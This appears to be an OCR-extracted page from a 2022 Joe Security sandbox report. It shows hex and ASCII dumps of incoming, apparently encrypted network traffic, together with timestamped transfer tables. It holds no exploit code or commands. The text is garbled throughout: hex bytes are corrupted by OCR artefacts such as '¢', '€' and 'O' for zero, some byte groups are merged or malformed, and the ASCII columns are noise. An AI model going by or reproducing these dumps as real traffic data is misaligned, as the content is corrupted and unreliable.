Data Raw: 1c 0f a9 ee be 92 5a 2f 07 c0 84 b7 47 82 f8 7d 01 aa 35 88 70 00 e3 e7 6¢ b6 ea 4f b2 06 ca 01 f1 c6 58 ad fa
el 7fal c5 bb 73 39 25 1c 89 64 ff b7 10 54 16 59 a2 8d 9c 34 94 e3 12 96 f3 a4 23 36 8e 29 24 b9 86 89 92 4b 50 b9 f3
67 59 70 1f of df 1f 37 95 ¢6 49 97 e5 fe 81 7d cd 9e aa 40 50 c9 31 c8 df e6 27 Oc c2 7a 78 f0 92 4a ef 78 29 9b 4b af 16
e6 3e 9e ca 17 51 74 c0 2a e8 a5 6f 94 e6 aa da 14 1a fd fe a5 ec 1a f8 b1 96 31 98 72 60 2a 98 Oa b3 2b el 48 e5 7f a3

7a e0 ee 63 2d ec a0 08 cb 3d 59 3d aa 93 ee f5 fc e4 85 ce aa 1d 7f fO 7f 87 86 c1 c1 ab 5a 9f 41 06 d8 7b ad d8 e9 1f f5
bc ef 25 2b e4 ea 54 91 86 €9 45 d4 45 e8 87 17 8b 34 ¢5 18 1b b5 59 ae 78 41 {3 24 1f 52 fa 3¢ 28 65 6b b5 25 11 38 3f

05 e6 64 01 39 49 d6 d7 d9 6e 8e b3 9d 76 f4 82

Data Ascii: Z/G}5plOXs9%dTY4#6)$KPgYp71}@P1'zxIx)K>Qtrolr *+Hzc-=Y=ZA{%+TEE4YXASR<(ek%8?d9Inv

Data Raw: de fd 4c 63 e4 bd aa 31 cc 6f d6 3e 1c cd 07 4c 14 48 97 02 52 92 8e a2 7f ee 3b 74 c9 c0 27 f7 20 dc 73 b9 5a
ff 04 db 51 e3 b8 93 fb a6 81 b0 21 63 19 c6 52 98 58 Oa bf bl ec 49 2a 6f 3b e3 ad b6 a6 a0 9c c3 al d2 30 02 16 83 a7
d6 cb f0 10 24 11 ¢7 2d 36 d1 13 e7 d9 8d 21 f7 60 ab 86 €6 f9 2a 84 84 29 76 0Of bl 39 38 e4 57 d6 7a ff dO 23 2e 9f 26 ef
0f 8c a8 c5 1c 9c aa 8c 3c 39 a8 51 43 61 9d 91 ab bl 42 8f Oe 14 6a f5 20 7e dd d5 57 20 3f 03 ea 56 a6 22 28 6b 5d bc
ba 64 90 7e 31 76 49 64 e7 43 9e 79 4a 02 04 54 7f ae 39 36 €0 41 06 57 7d 5f 59 c0 8d 91 39 c2 4c 20 8d e2 7d fO ea 05
55 e2 43 cb 83 9b d1 1f cb 80 2e 9a d7 d1 78 79 36 64 cb 5b 9f 5b ae 4f 05 40 5f 2a 8¢ 99 24 31 4e dd 2a ea b2 ac 61 al
2a b6 a3 da 57 a9 39 02 be 39 40 55 63 f0 c7 Oa f1

Data Ascii: Lc1o>LHR;t' sZQ!cRXI*0;0$-6! *)vO8Wz#.&<9QCaBj ~W ?V"(k]d~1vIdCyJT96AW}_YIL JUC.xy6d[[O@
_*$1IN*a*W99@Uc

Data Raw: f5 19 5f 22 57 b8 d3 31 56 5 10 98 56 97 c4 67 a3 61 a4 b3 84 b6 01 4d 7c 6a cO b9 84 7f 9b c4 5e 00 b0 f1 8¢
9c f9 56 b0 Oe 78 29 ef ¢6 3b ce 5d b7 2b 1f f8 40 62 7f ef 9c 59 1 bc 4b 49 70 e4 86 4e 1a 23 b0 e9 a9 dc 0d 7f cc 33 4a
a7197b 19 al 11 57 82 ch 29 85 0d a5 6e 44 a7 96 ab 95 72 22 03 14 5a 72 6e b7 93 05 5f d4 76 dd 32 48 3d al 54 22
d8 7a 5a 40 5a f8 a1 d2 32 e7 13 3d cf 98 €9 1b f5 4d d9 c4 00 c6 10 5¢ 73 87 41 25 97 8f 25 3e 78 c8 b5 45 97 94 45 d4
26 86 3a 33 18 25 bd fd 70 28 82 31 ee a6 67 77 bd 1f 15 49 d1 5b e8 eb ec 54 84 b8 83 96 7e b0 4a 71 95 25 15 8b c5
Oe fc d2 02 d5 27 ae 0d 35 1f 30 48 5e c2 2e 93 e8 0f 76 38 3 09 10 7b 16 30 79 cd b9 42 23 2b 97 €6 11 8c 28 8e 9 fa
b0 53 74 84 7 a7 fa bd de b9 a2 d4 b4 5c 56 73 b8 4f c8

Data Ascii: _"W1VVgaM|j*Vx)]+@bYKIpN#3J{W)nDr"Zrn_v2H=T"zZ@Z2=M\sA%%>XEE&:3%p(1gwi[T~Jq%'50H".v8{0y
B#+(St\WsO

Data Raw: d5 10 6e fd 4b db bd 47 99 4 6f 7f 3f 60 1c db f3 51 a4 65 9a 5b 43 7 25 fc 63 34 4e ed ba f4 28 5f a9 32 60
68 e7 14 3a ba b0 e5 1c a0 fe 10 ch 5¢ 57 cd b8 90 65 38 30 d1 66 b3 39 b2 c1 47 dd f3 01 bb 2b 00 al ac 63 5e dd 35 52
03 5f 91 da e9 6b 6a 6e 31 7b 78 03 8e 6¢ 48 30 2b d1 2d b5 79 5d 7d da ab d5 ca 98 b2 66 08 1d 59 66 a9 b9 e5 5e 1f
9b 47 f9 a8 3d 83 e2 85 55 aa d2 93 dO 4c 23 €5 f5 al 94 6¢ d2 24 a5 2b 1c 7a 9c 79 f0 29 f0 67 a4 a4 3d b7 48 e3 e8 ef
e7 5e 94 54 7d 8f 86 9e 5¢ 30 da de 13 89 72 96 bd e3 39 4c c5 89 71 46 5 16 dc a3 e0 ef 6d 67 95 20 b5 f0 21 28 87 9a
4a 15 c2 33 7b 85 ¢6 bf 66 64 85 37 31 ¢8 2c 6e 25 f3 b7 5a 67 de 7f fa fc ed 2b Oc d2 bf 64 dd 3a fe 8f 91 c4 93 df c4 5a
1d 83 d8 Oe ac f3 46 28 58 d0 4c Oa a4 d3 42 9c 44 5f

Data Ascii: NKG0? Qe[C%Cc4N(_2 h:\We80fdG+c"5R_Kkjn1{XIHO+-y]}fYPA G=UL#I$+zy)g=H"THOr9LgFmg !(I3{fd71
N%Zg+d:ZF(XLBD_
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kBytes

Timestamp transferred Direction
2022-05-02 11:03:03 UTC 1241 IN
2022-05-02 11:03:03 UTC 1243 IN
2022-05-02 11:03:03 UTC 1244 IN
2022-05-02 11:03:03 UTC 1245 IN
2022-05-02 11:03:03 UTC 1247 IN
2022-05-02 11:03:03 UTC 1248 IN
2022-05-02 11:03:03 UTC 1249 IN
2022-05-02 11:03:03 UTC 1251 IN
2022-05-02 11:03:03 UTC 1252 IN

Copyright Joe Security LLC 2022

Data

Data Raw: f3 ca 47 36 b9 f4 4c a7 3f f6 cb 12 4a c2 2d a7 da 18 5d dc 76 b3 ba c9 08 3b 20 b0 3 Oe 56 fO c5 82 46 11 aa
69 99 92 cf d7 b9 18 f9 b4 9b 6e 2e 29 Oe 86 74 46 7a 5f ad 05 4c fd 34 81 85 31 ba b5 1f da 5d 01 84 a9 c0 92 01 f5 65
34 12 c9 84 dc fa 1b 59 Oa fc 9f d2 c1 08 4c 29 be f8 fa 49 5d f8 59 0d 1d 96 5f bc 9f d3 5b 82 de cb 37 Oe 1e 78 e2 f4 e4
97 3a d3 8f e5 d4 92 74 6d 31 15 fe f7 65 0d db f2 66 aa af 5¢ b1 77 b9 9e 43 7b Ob 93 06 9a dd 34 22 9d 19 fa 37 f6 bc
ba c0 04 2f 25 7e 99 71 a0 0f bb c0 ca 99 05 €0 cf 47 44 d5 40 5c¢ 69 1d 04 bf 89 98 4d 15 f3 00 13 2c ce ce fO cb d9 e9
49 62 5d 9c 37 36 32 56 4d Oe cd c7 Oc 52 3d d6 8b 54 c5 3e Oe df 8b ba ad 9a c4 59 7e 87 76 cf 8a 99 42 b4 51 12 29 9¢
d1 ba 02 51 c3 8b b3 97 fa 32 €9 b8 b4 8f ef 3f 52

Data Ascii: G6L?J-]v; VFin.)tFz_L41]e4YL)I]Y_[7x:tm1ef\wC{4"7/%~qGD@\iM,|b]762VMR=T>Y~vBQ)Q2?R

Data Raw: 55 54 7a 5c f2 8c af ac 12 b4 ea be ec c6 0f c9 ce d5 2f bc 9d aa 1d 07 ff bc 5¢ d7 eb 78 Oe 9a f0 33 13 e3 74
a0 32 34 5a 25 7b ce 85 a5 45 13 dd 9d Oe af d0 87 be 52 32 f5 17 24 95 66 dc 7e bc ec 13 cc b8 66 1e 1b 67 ef cf 7e fa
5d b4 ea 5e Oe dd 4b 15 0d Oe e2 41 73 82 a6 94 60 b5 7a 81 7f 16 ¢5 12 9a 83 d7 e3 ec 5e 80 13 b3 a7 3b 44 71 75 5d
b9 a7 80 23 87 bf 81 b3 e6 bf db 7d 8e b2 3e b7 1d 16 84 1a 9a 68 4a 04 6a ab 4f e6 1e 46 df 99 68 b8 48 7f 8d f6 37 2d
2d b4 19 49 1c 93 7f 74 b9 9d cd 75 f3 64 bb 3e 8e b9 27 74 36 77 fe d1 2f 6f 41 €6 d2 16 ec fO 73 87 26 c6 €7 c7 71 69
c6 5b 61 d8 ef c8 e6 9d ba 97 c6 82 20 90 fc 68 63 93 92 f4 50 16 4b 4b d9 ba dd 2e da 4e 60 e9 b2 45 13 77 5e 8c 40 6e
a7 9b 57 2c el 8e ed 88 b8 36 8e 60 8d 20 fe 45 d1 7f 1d

Data Ascii: UTz\/\x3t24Z%{ER2%f~fg~]"KAs z*;Dqu]#}>hJjOFhH7--Itud>'t6w/0As&qgi[a hcPKK.N'Ew*@nW,6" E

Data Raw: ea 3e 93 bb b0 3e f8 8e c2 54 ef e8 e4 1d 77 7a 4e 87 cc 28 fa c4 d5 1d 71 a3 84 d6 d9 93 43 c7 5f d0 49 8a
2f 0a 3 14 00 2e bc ad 4f 39 1b 8e e8 f5 6d 46 a0 f4 bb a6 fc 95 60 c5 94 9d f1 8a 10 87 €2 91 91 db 75 82 b6 c2 b3 e0
a6 56 d9 a2 6¢ 8c 88 24 da 2e 98 96 17 fc cc e4 al 3c 67 66 e4 55 9d 42 50 28 f1 b3 e3 c7 ¢8 90 ec ae f6 a4 61 5d 37 bb
6b 35 f2 32 0d 4b de ce 74 5d 84 ca 34 Oe 1c 5a 81 28 ce fc 26 f0 02 20 f1 33 d8 b1 c8 a3 3a 2d b6 78 ba 12 40 5d a2 ce
€214 89 c2 a2 50 cb 2f 87 32 c1 €9 8d 20 ce 99 €9 c8 5a 13 5¢ 6e d4 41 e0 da a5 51 37 4a dd 39 33 fb 8d 22 ed 26 d1
48 a6 9a bf 6f f6 a4 c8 db fe cc 46 Oc af 1a bl ec 85 ee 6a 57 ed 29 b7 c2 68 Of 6a cb 56 45 1b a7 c8 76 9d 7a a3 f6 eb 58
eb a0 df 31 16 a7 9c ae 53 65 7b 8c 97 ed 07 9b 05 1a ec

Data Ascii: >>TwzN(qC_I/.09mF uVI$.<gfUBP(a]7k52Kt]4Z(& 3:-x@]P/2 Z\nAQ7J93"&HoFjW)hjVEvzX1Se{

Data Raw: 22 2d 84 27 23 07 dd 6b a4 93 8f Oc f6 4c ae 16 15 ca 2e ec 86 30 aa f9 e6 47 eb 7f 7c 69 d4 49 8f 95 8d 9e bd
2d 05 f2 a2 6d 66 fd 9e ec 51 92 92 10 8f 25 84 ¢6 f4 5¢ 07 1a 73 05 c1 ad 85 aa 95 4b 4a 0b 25 f5 ed 38 52 86 85 be b4
99 0b c1 12 f1 9b 9a 96 28 2f 55 c4 16 9e 09 1b 7e 2b 98 ac d5 94 de 5a dd 6b 80 6f dd fd 41 1f 56 2a d1 c9 8f c8 e6 97
a6 46 e7 e2 fc €9 61 8b ac 78 81 eb 19 22 df 4c 80 7c Ob 6b ab 22 95 10 23 82 26 fa 9a 4d 47 a4 7a 31 25 a2 8b 21 ec 7
eb db 88 ab 9c 4c 89 3c 39 51 25 9b 35 b6 af b9 89 02 12 28 Oc 55 cb 9d 93 3d 61 85 95 €9 77 fb ed 16 74 e3 1e c6 fa 9e
c9 f7 76 69 f1 3a ad 4e 7f 53 a4 e5 6¢ ed fd 23 cf 72 64 d1 b5 f9 6f e0 75 1e f3 1c 16 €8 cd 10 69 9b ab 1e cf ca f0 2d e8
d3 Oe b8 87 Oc de ec 79 68 22 14 9a fO bd 35 17 bc

Data Ascii: "-'#kL.0G|il-mfQ%\sKJ%8R(/U~+ZkoAV*Fax"L |k"#&MGz1%!L<9Q%5(U=awtvi:NSl#rdoui-yh"5

Data Raw: 5c fe cb 83 ae 8f c9 6a 48 b8 6f al a9 de cf 93 b9 eb b9 a2 25 07 06 7c 1d 00 50 98 ba 18 e4 53 d4 a0 86 a3
dc 93 60 b5 57 a0 7f cd b1 d6 a8 ed 2d aa 1c b3 72 08 4f 60 f6 96 55 5f f5 06 4d 19 17 32 9a c7 94 68 8a a0 23 fd 5f 55
45 cf 2e a8 24 46 d0 0f d8 7e cd fe 45 c4 17 7a 96 7d 51 38 bc 7d ed 6a c1 72 ac 26 06 f6 6e 41 39 bd ac a6 cd fe 85 af
e7 af 51 ac 05 24 fa 1a 83 08 23 4e 4c 13 2b d2 8b fa ¢8 13 3b 96 a3 ca 72 f1 bc 63 7c 69 e0 43 f6 63 cc fO Oe 47 c4 d6 91
2c 81 e7 78 bd f9 a0 77 bd 9d 80 97 b6 7b 48 1c 13 ea 64 e7 5e 44 a9 87 ad 53 b6 3c 66 e6 1a el 44 db 4e 13 74 be 96
fb 6d 04 40 18 d8 d3 05 32 0Of ef 9f ec ¢8 bf 0d 57 fd 2b 52 af 10 4d b8 ac 04 70 6d 5d ad e9 78 2a 41 92 87 2c 8¢ 22 d4
78 0c 46 57 4e 33 72 d6 4b 84 d0 al eb fa a8 f9 46 9a c5

Data Ascii: \H0%|PS"W-rO"U_M2h#_UE.$F~Ez}Q8}jr&nA9Q$#NL +;rc|iCcG xw{Hd"DS<fDNtm@2W+RMpm]x
*A,"XFWN3rkKF

Data Raw: 4b 57 48 b3 51 62 26 a9 18 75 d8 99 5e c0 53 06 93 8b f7 57 4c b3 04 e8 fe aa 49 a3 80 94 2c 79 30 37 96 3b
eb af 93 63 3f 44 de c4 a0 3a 25 c8 5e 80 82 29 81 36 58 52 0d 76 6e eb Oc b1 02 b8 cc ea 49 04 33 ac e5 8d c8 be c7 89
66 f4 71 31 4d 55 df bf eb 83 79 1a aa 73 60 37 8 c6 75 81 28 16 6b 46 0d ef fd d1 4a bf 1b el bb 25 a4 87 15 eb 76 a0
7a7b f3 d1 d1 ee c8 84 af 48 13 ee 65 24 fd d6 b6 ce 95 2b e2 f5 5a be 26 d6 8e 7e a6 73 92 a5 15 84 31 a3 4d ba 29 93
64 df 60 f8 78 62 6¢ c5 bc d0 ab 77 45 db 7a a6 e5 ac 39 e2 c7 al a7 4e e3 83 f0 3d 7 11 b5 22 8e 56 67 8f d3 97 55 a5
01 29 c5 62 54 77 22 bc 4b 07 a8 ¢4 8e cc 27 e3 92 05 04 44 33 e2 f4 86 Oc 96 c8 80 58 d1 12 5a 2b ee 31 00 ca el 43
d0 11 b4 97 b6 d3 bb cf 01 b1 4d f9 11 26 62 b5 94 7d e0 58

Data Ascii: KWHQb&UASWLI,Y07;c?D:%")6XRvnI3fqlMUys 7u(kFJ%vz{He$+Z&~s1M)d xbIwEZIN="VgU)bTw"K'D3XZ+1
CM&b}X

Data Raw: 19 f4 76 07 ee f6 dd 3c dd ae 75 ed 10 e4 99 33 3d 4c 63 62 cb 6b de 5e 5d b5 df 9e 40 3a 32 c0 79 62 ce 1e
48 c3 8a a2 f6 9f ef bd cb 6d Oe 9a c9 93 57 11 11 54 e8 fd d6 f4 f6 99 ad c9 4f 71 83 eb 97 b4 7f 06 c6 Of 43 4d a4 b3 49
40 a4 2f 71 ¢5 d2 eb 53 43 0d 4e cf d5 97 5e c0 49 73 41 f0 3e 30 b9 19 3a 76 39 a8 7b 0f 82 Oe 7b 98 7c 13 22 6b ad 35
fe 91 cc ¢5 36 cc b4 d1 ¢7 12 bf be ac 34 d0 59 fc 7f b0 74 be 46 82 ad c9 fd 12 8c 0d 89 8a a0 90 2f 69 16 Oc 58 61 4a
99 47 ¢4 0d b8 f0 ef db cf 86 87 c0 34 d2 c8 Ob bf 0d a8 b9 1b 64 a4 94 b3 23 5d 7b 35 81 88 ad 93 6 00 f4 b3 fe e5 94 3f
c2 6f 0f 56 77 50 73 ac d4 bc Oa b2 df 63 c¢8 72 36 14 07 34 d5 d5 84 81 d2 57 78 a8 27 c5 27 a6 ad 95 8f c0 89 7c e9 8f
bf 64 d6 ef 67 81 8c aa el 19 30 ec c4 d6 af 71 9c

Data Ascii: v<u3=Lcbk@:2ybHMWTOqCMI@/qSCNAIsA>0:vO{{| k564 Y tF/iXalG4d#]{5?0VwPscré4Wx"|dg0g

Data Raw: 76 b0 f1 78 ¢6 47 f0 09 37 2c ac 01 4a 37 53 {7 fb 59 82 c6 b8 35 ch 45 07 4c 6e 51 7a c6 15 90 67 81 71 02 fe
46 57 13 3a 31 1d 65 1b 82 8d e4 dc 2e 1d b5 53 66 67 72 f8 24 39 98 c5 25 fe ed 63 99 ¢7 d2 bd 1e c0 18 83 fc 30 47 7a
a2 226459 d8 1c 06 ac 74 01 d4 63 e6 7b 16 c4 35 c3 0f aa d5 d9 bc 71 10 28 6b ae 5b 50 72 26 32 64 1b b6 3e b3 d8
8d 76 89 80 27 d1 68 eb 04 26 Oc 65 b9 0Ob f8 50 Oc 3¢ 51 Ob el 6d 30 ba fe 75 46 38 63 7f b1 12 8f 3d 9b 4a e0 9f c7 76
2d d5 35 59 20 ac f5 76 b7 66 d7 89 32 3d ab 88 93 42 f6 42 Ob d1 1a 5e 1c 44 79 ba 35 98 7c e2 84 83 ce €6 57 74 c7
0a 65 6b 0a e7 b6 Oe c4 e2 0d el el a0 95 52 8e 8a 56 b7 2f 6a 6f d3 23 47 65 28 f8 b5 f1 52 62 fO b0 4c e6 8b 38 8f 3f
78 4b fa 65 12 Oe c6 a3 9¢ 69 e8 dd al e8 99 a8 aa 6a Oc 64

Data Ascii: vxG7,J7SY5ELNQzgqFW:1e.Sfgr$9%c0Gz"dYtc{5q(k[Pr&2d>v'h&eP<QmOuF8c=Jv-5Y vf2=BB"Dy5|WtekR
Vljo#Ge(RbL8?xKeijd

Data Raw: 70 6¢ 91 74 43 c4 b5 c2 46 b9 bc 7e 2b fb 28 48 9b 5b el 1d fa 03 c9 d4 e6 al 25 29 46 70 a6 c5 d8 ed fO c9
8b 55 79 da Oe df ca 1f c2 39 75 cd 3d ab 1a 7d e2 f3 5d ab 24 42 22 d9 al a8 e4 66 5b 17 92 a2 4f d1 51 03 4a 97 1f 9b
04 b6 d6 6f Ob c9 c8 e2 fc f4 2d 2¢c 5b de 9b a8 05 29 83 dc 41 94 ea 4a bf 05 7b a5 ¢5 66 d3 27 0d fe d8 12 fe be 28 2e
c6 f9 2a d9 a5 91 f1 64 5d 9b 3 8f 48 3a b4 64 11 90 7e 94 18 6b Of da Oc 20 04 c2 91 a5 86 ed a9 3d a9 8a d5 81 a4 10
€8 3c 94 bf f0 61 02 83 20 02 8a 16 2d fd a6 af 06 2e 9e fe 87 70 50 15 77 bf 6d 6b 02 d7 cb 16 3d 72 3b 79 73 89 2f c3
60 a6 5d 12 20 43 79 01 3f 56 06 c1 2a 24 7d ed 78 Of b7 66 34 64 71 {7 0a 2b 86 87 9f 98 e2 05 c4 a3 49 10 16 af 96 33
d3 81 23 5a 52 46 d8 d4 b7 43 23 f4 79 ee dO f4 7b b5 2e

Data Ascii: plitCF~+(H[%)FpUy9u=}]$B"f[0QJo-,[)AJ{f'(.*d]H:d~k =<a -.pPwmk=r;ys/'] Cy?V*$}xfadq+I3#ZRFCH#y{.
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2022-05-02 11:03:03 UTC 1256 IN
2022-05-02 11:03:03 UTC 1257 IN
2022-05-02 11:03:03 UTC 1258 IN
2022-05-02 11:03:03 UTC 1260 IN
2022-05-02 11:03:03 UTC 1261 IN
2022-05-02 11:03:03 UTC 1262 IN
2022-05-02 11:03:03 UTC 1264 IN
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Data

Data Raw: 21 59 60 5f 20 19 d5 5f bb b2 f6 f1 fb 68 €6 79 28 ab 27 28 fd d8 89 34 cd 54 79 2d 7f 03 e8 06 ff 13 ce 6e dd
d4 5f 8d b0 4b 84 06 0d ab 93 6d 08 78 5a cf 8b a9 3a a7 42 e4 bl 91 2d ab 3c 6e 44 51 1b Oe 20 aa af ae 66 fe d0 7c 42
a0 8a af 57 5f 95 b8 ec ¢4 22 e8 2e 60 00 e5 16 f4 12 1d fc db da 9e 4e 21 33 2a 61 13 50 47 d1 15 a8 26 ee bf 22 f8 21
c8 cc 33 b7 23 ef 6f f0 48 24 75 6f 12 86 fe 00 fc f0 06 08 44 dc 29 Oc 2e 7d df ac 19 3d 54 b7 2d 63 81 fc 46 8f ae 4e 80
24 4d 9a 9b 4a 2e 78 1d 2e 3f 5a 37 8f eb 6f 7c 4f 6a 50 34 7d 4b 1f 9a ee ¢5 25 1c 6¢ 3d d3 Ob c6 c7 8f d2 08 8 d2 5b
38 fafc al 4f 5d 34 d3 95 d3 b1 06 c5 f7 50 a3 6e da 35 b8 2¢ 67 27 90 86 b4 3c 50 30 c0 94 bc 72 bf ¢6 al fO 7d a6 af d4
e7 97 b2 b2 fb f2 82 7a Ob 1f 06 60 69 88 c9 bc

Data Ascii: IY"_ _hy('(4Ty-n_KmxZ:B-<nDQ f|[BW_"."N!3*aPG&"13#0H$uoD).}=T-cFN$MJ.x.?Z70|OjP4}K%I=[80]
4Pn5,g'<PO0r}z’i

Data Raw: ba cd 43 28 a6 8f 26 c9 78 a9 67 4b 3b 08 2f 8d ba e2 64 44 43 28 d7 bc 5d 62 ad 65 a9 96 87 01 2b Ob b7 55
51 cb f5 af c5 6a 98 7f a9 81 eb 04 d9 56 8a 2b 0d e3 dO ad a2 58 43 fe a4 fe a4 b4 ab f2 22 ¢7 77 4c 77 2e c2 6b e0 e2
58 4e 84 ¢5f0 c0 81 78 ce 13 41 20 41 9f f8 2d 2d fe af 8f bc df cb b6 b5 3b 3d 40 8e 27 d8 c4 aa 1d Of dd c3 af d6 cd bf
b3 a7 a3 eb 24 dc 28 9e 5a 94 5e 7c db cd 10 57 fd 4f 93 91 76 dd c3 7d a7 41 fa dd ac 40 69 23 17 33 80 2a fe 95 05 €9
89 el f0 3d 3e 9c 29 ce fd 64 ef ad 77 b9 9d 21 fc d4 d7 f9 4c 3b 8a c0O 2d 00 7e d8 3e f5 a3 9¢c 38 90 b9 ac 7e 2a 71 25
25 25 2d ac 53 94 75 0b 49 7b 6b 4e 72 e3 €0 Oc b8 fe 7b 59 4f ac 01 bf d6 51 0b b7 59 98 9a 6b e2 9d c9 cc 05 5d 1f 6a
89 9e fe f7 42 57 a6 7a 06 7f a3 ce 87 e8 2c 28 b4 c9

Data Ascii: C(&xgK;/dDC(]be+UQjV+XC"wLw.kXNXA A--;=@'$(Z|WOVIA@i#3*=>)dw!L;-~>8~*q%%%-Su{kNr{YOQYk
liBWz,(

Data Raw: 09 9a 16 5b cd f1 de 5a d9 86 ad 42 e4 1a a4 92 dd 4a d8 05 d1 08 bd c9 ae 81 1f 78 a4 ba d3 62 e8 5d 98 e9
le 43 4a 29 36 c0 1b f7 35 Oc d9 39 7f 75 bf ef f2 78 31 7b 1f 4f 69 44 42 87 c2 5f ac 5¢ 65 3c 0f 02 e2 db 03 f2 8c ca f5 df
5d 82 89 bf db c4 14 22 41 c¢1 01 58 11 06 dd 55 b3 c4 2b 12 43 99 a8 58 40 a0 d2 2c 2a 79 40 8d ae e3 19 95 dd 84 ad
85 3a bb 85 71 00 3a 76 7d e7 49 37 14 Oe 50 38 ec 4b 85 b0 84 f4 72 Oc 67 2d eb c2 95 4e 5c el 87 9b 99 d9 eb 6¢ b5
9272 c9 c2 cf 2d fe 2f a7 98 36 ec 03 11 59 6b e2 50 ff 2c ec 1b 30 32 cb 73 90 25 96 db 7a 87 eb 88 eb 13 5e f9 d2 7c
81 8e e0 7b df ef Of 76 98 2e 1b 35 eb 4 48 ba 28 3b 90 eb 02 el 4e d3 ec 54 55 34 e8 db ff c2 52 3d 5c 4d 41 98 03 4a
78 fd 6f 52 0d 35 6b 25 5e b1 31 37 e0 e0 95 37 ac 87 ab

Data Ascii: [ZBJxb]CJ)659ux1{OiDB_\e<]"AXU+CX@,*y@:q:v}I7P8Krg-N\Ir-/6YKP,025%z"|{v.5H(;NTU4R=\MAJx0
R5k%"177

Data Raw: 90 3c 1d 9a dc ad c4 8a d9 55 f8 57 9a af 4a 4a ec 65 19 78 eb 57 e6 9f 66 a4 63 c0 e4 21 5 c9 6f 8e 08 d3
7162 79 f6 Of c4 7d 05 51 8b 73 22 7f df Oe 39 47 20 89 4c 63 24 b4 a8 81 €9 ¢5 b0 97 a3 70 cd 85 8d 4d b0 45 47 51 df
le cf d9 1f d2 29 6f f4 50 42 d1 d9 8 4e 75 54 83 d8 45 a4 46 50 91 49 83 e5 42 €9 ec 83 36 c5 3b a7 18 34 2c Oc Oc e0
90 a5 85 f0 e8 ed 94 17 30 97 eb f3 56 5b a5 2c 90 51 d3 Oe df ¢3 52 7e 57 d8 4a b8 8b 9f 68 65 35 be 5f 1f da ad a6 b0
1 89 ef a6 25 58 e7 c9 3b 8f 24 2a b6 ca 73 8d 5e d6 05 b7 94 93 6b a5 65 fa c7 4f b8 2 94 8¢ bf 90 91 be 23 67 53 39 ec
ec 18 39 ca 8f c1 58 a6 6f a8 d8 46 d2 d5 da c4 33 dc 25 57 37 a7 95 4e 6b c7 ea 21 c4 7e ef 59 43 52 bb d3 f3 78 32 01
7 df 0f b0 db 21 67 1e 71 1c 1a 25 8b 4a cd 48 7f 55

Data Ascii: <UWJJexWfclogby}Qs"9G Lc$pMEGQ)oPBNUTEFPIB6;4,0V[,QR~WJhe5_%X;$*s" ke O#gS99XoF3
%W7Nk!~YCRx2!gq%JHU

Data Raw: 69 04 c1 58 ac b4 8c 8c f6 36 1f d7 81 37 d9 55 23 6b 94 27 21 2f 64 d0 4e c9 09 31 al e7 6e ch 79 f0 27 45
66 8b b9 09 36 23 ac 49 4d c7 dO b5 94 58 92 2b Oc 50 6f 53 fa 37 9e 7a c0 ea e7 a2 3c 1e d6 9a 99 31 5e b9 28 c3 f6 a9
20 9f 00 3c 7d f8 ea e8 5f bf €9 fd 93 79 87 21 75 b0 52 8f 38 60 51 fe 43 €3 18 95 el 19 af a5 7f 58 bc 9b e8 d5 cc 5f 8b
7d 34 f5 23 ee 66 1f 52 af 06 12 bc cd 00 fb 54 1e a2 eb 7 4b f0 39 7a 5a 72 08 98 4b 50 43 c5 b4 83 89 9d 43 d3 4d b8
ce 3d b8 bc ec {3 8f db ee 2 ed fe c6 03 86 bd fd 30 21 0a a3 89 b9 be c3 f2 f4 8b f8 2¢c 4a 89 49 db c2 c7 7a 2b 44 c5 af
7d 10 c8 e2 7f a8 37 ac 8a a3 66 ab 46 b0 el 75 7e 31 9e 52 19 34 02 cb 6f e6 4d d1 71 a2 47 74 2f 40 04 18 dc fc 80 4e
25 e8 09 c2 5e 8b cd 3f 9a 6a dc 97 f9 14 f3 6e ab

Data Ascii: iX67U#k'l/dN1ny'Ef6#IMX+P0oS7z<17( <}_y!uR8 QCX_}4#fRTK9zZrKPCCM=0!,JIz+D}7fFu~1R40MqGt/@
N%"2jn

Data Raw: bf 1e 6f 7a 04 fe ee f6 Oe 65 a7 ca 08 aa db 84 85 1d 65 74 a9 77 57 5a 1b 2d 86 44 19 5e bd Oa 9e 20 76 da
al 6e 55 ea d5 4b 61 dd b9 3c 14 Oe b0 f2 07 27 0a b9 e6 c9 7c 58 97 f9 82 8¢ 8b e9 7a 57 4b ba Oc d4 dc dd 94 c5 56 1f
d7 bb 03 36 6d €9 f1 61 05 74 ed 4e ff b8 fd bb dO d8 10 93 2c a5 e8 82 b8 62 al 01 37 5¢ 9b 23 a5 1c 9c 63 18 f2 0 73
ba fc ca f1 9c 36 e8 7b 18 00 6d b6 6e 34 ec 51 00 7b 82 ba df af 80 a4 11 ba 9d e9 61 2f 05 f5 Ob 63 af 31 ab 7e 1e d6
8c cb 47 f9 fe 8f 29 5a d1 85 d3 af 41 d8 6f 55 c9 cf c2 5e c0 c¢8 90 2c 29 f0 00 40 04 89 37 be c1 48 97 aa 6e 13 d9 74 50
b9 92 ¢8 61 87 25 10 7f 3e 36 c2 84 80 a9 5f 90 37 f5 32 c¢6 95 f2 71 10 a2 be 65 40 ba b2 7f 01 5¢ 18 9f 80 53 8¢ d7 bb
c0 da 4d 26 fa fa b6 e9 1a 19 87 9c e0 cd db a7 a8 cc

Data Ascii: 0ozeetwWZ-D” vnUKa<'|XzZWKV6matN,b7\#cs6{mn4Q{a/c1~G)ZAoU",)@7HntPa%>6_72qe@\SM&

Data Raw: e3 57 fO 4b 53 48 b1 d8 ae ba bc 84 2a 0f 54 94 21 3d 7a db 22 3b 2f ef cb dc 61 b0 75 df 9e 3 2b cb 6f b1 36
2c 25 cd 17 dd f5 f1 0a 53 cf 5f a7 d8 aa 68 68 1f ee 86 8a 46 39 c2 9a 90 c3 e4 19 46 c5 98 a8 59 12 81 bf al ee cf dd 03
a4 fae6 07 8b 62 54 73 5e 99 b3 c9 4f 85 dd 63 cf e0 Oc 62 83 b0 0d 8f 86 be 8a 8a 10 e9 c9 8b 21 60 90 2e dd 89 66 78
62 63 d6 f8 bl 6b 02 35 5e a5 84 dc a8 1b 65 1d 8e e6 10 48 e3 f2 2f 5b 0d 18 cd 62 96 67 fe 09 1d Oa 79 Oa c5 64 70 ed
00 30 34 77 84 98 ef c5 f9 50 14 9b 21 5f 1a d2 f0 53 d8 f8 55 b8 Ob a2 3a 14 99 71 3f c6 1f 10 6e cb 24 74 5c 4 2f 4e 85
a4 e4 ba 39 dc 51 be 3c f6 77 6d fe d5 67 b1 f8 01 10 Oa 70 6e 74 8f 83 fa 4f 1c 1b 19 {7 f6 38 31 b8 0d 7e b6 00 af e6 cc
92 b4 7f 00 8¢ dd 11 3b 05 d2 bd 34 2b f1 84

